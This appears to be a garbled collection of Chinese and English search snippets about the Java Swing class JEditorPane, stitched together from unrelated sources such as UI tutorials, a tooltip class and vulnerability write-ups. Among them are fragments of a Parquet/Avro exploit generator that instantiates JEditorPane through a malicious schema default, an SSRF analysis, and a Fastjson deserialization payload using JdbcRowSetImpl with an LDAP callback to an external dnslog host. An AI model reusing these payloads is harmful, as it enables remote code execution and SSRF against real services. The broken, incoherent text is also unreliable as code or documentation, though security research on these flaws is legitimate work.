的文件,其Avro模式的默认值字段被精心构造为实例化 javax.swing.JEditorPane 类。 This version avoids using custom classes and instead leverages a standard Java class * (javax.swing.JEditorPane args[0] : "exploit-jeditorpane.parquet"; // 恶意Avro模式定义:其‘trigger’字段的类型被设置为‘javax.swing.JEditorPane {\"name\": \"trigger\"," + " \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane Schema instantiates javax.swing.JEditorPane via default value."); }}2.
java.awt.Point; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import javax.swing.JEditorPane 停留一会时间之后会自动逐渐模糊直至消失 * 3.点击关闭按钮后逐渐模糊直至消失 */ public class TipWindow { JFrame frame; JLabel label; JEditorPane this.message = message; } public void initialize() { frame = new JFrame(); editorPane = new JEditorPane
双重负载机制:主利用(ParquetExploitGenerator)使用标准Java类javax.swing.JEditorPane演示逻辑利用。 该文件包含一个精心构造的Avro模式,其default值被设置为实例化javax.swing.JEditorPane类。 args[0] : "exploit-jeditorpane.parquet"; // 构造恶意Avro模式。 这会导致在反序列化时,Avro尝试实例化这个“记录”, // 实际上就是实例化`javax.swing.JEditorPane`类。 Schema instantiates javax.swing.JEditorPane via default value."); }}2.
/ 将浏览器组件添加到Swing窗口frame.add(browser.getUIComponent(), BorderLayout.CENTER);frame.setVisible(true);使用JEditorPane 组件技术方案:JEditorPane是Swing中的一个文本组件,默认支持纯文本、HTML文本等内容类型。 应用实例:JEditorPane jep = new JEditorPane();// 设置显示内容类型为HTMLjep.setContentType("text/html");// 注册超链接监听器jep.addHyperlinkListener { e.printStackTrace();}JScrollPane scrollPane = new JScrollPane(jep);JFrame frame = new JFrame("JEditorPane JFrame.EXIT_ON_CLOSE);frame.add(scrollPane, BorderLayout.CENTER);frame.setSize(800, 600);frame.setVisible(true);不过,JEditorPane
之后发现该类继承自JEditorPane: 之后再该类中找寻setPage方法,并下断点进行调试分析: 之后跟进setPage方法,在该方法中首先会判断传入的page是否为空,如果为空则抛出异常信息 socket并调用InetSocketAddress(): 之后调用InetAddress.getByName()解析主机名来获取IP地址,从而造成SSRF: 补丁分析 将javax.swing.JEditorPane
JScrollPane:滚动窗体 JComboBox:下拉选择框 JRadioButton:单选按钮 JCheckBox:多选按钮 JList:多行列表 JLabel:标签 JPasswordField:密码输入框 JEditorPane
1 JEditorPane这个组件是swing工具包中自带的,但是它能解析的html及css非常有限,N年没更新了,很多现在的网页,加载会出问题。
--------------------------------- # Applicable to the Swing text components displaying HTML (except JEditorPane
com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://scspxx.dnslog.cn","autoCommit":true}}},"g":{"@type":"javax.swing.JEditorPane
由这里反推前面也能发现,其实frame这个标签本身使用方式没问题,而是场景问题,就像其他几篇文章里面提到的,在部分特定条件下,这个强制类型转化也是可以成功的,而在JEditorPane的组件场景下,如果可控那么
如果想要显示格式化文本(如HTML或者RTF),就需要使用JEditorPane和JTextPane类。在卷II将详细讨论这几个类。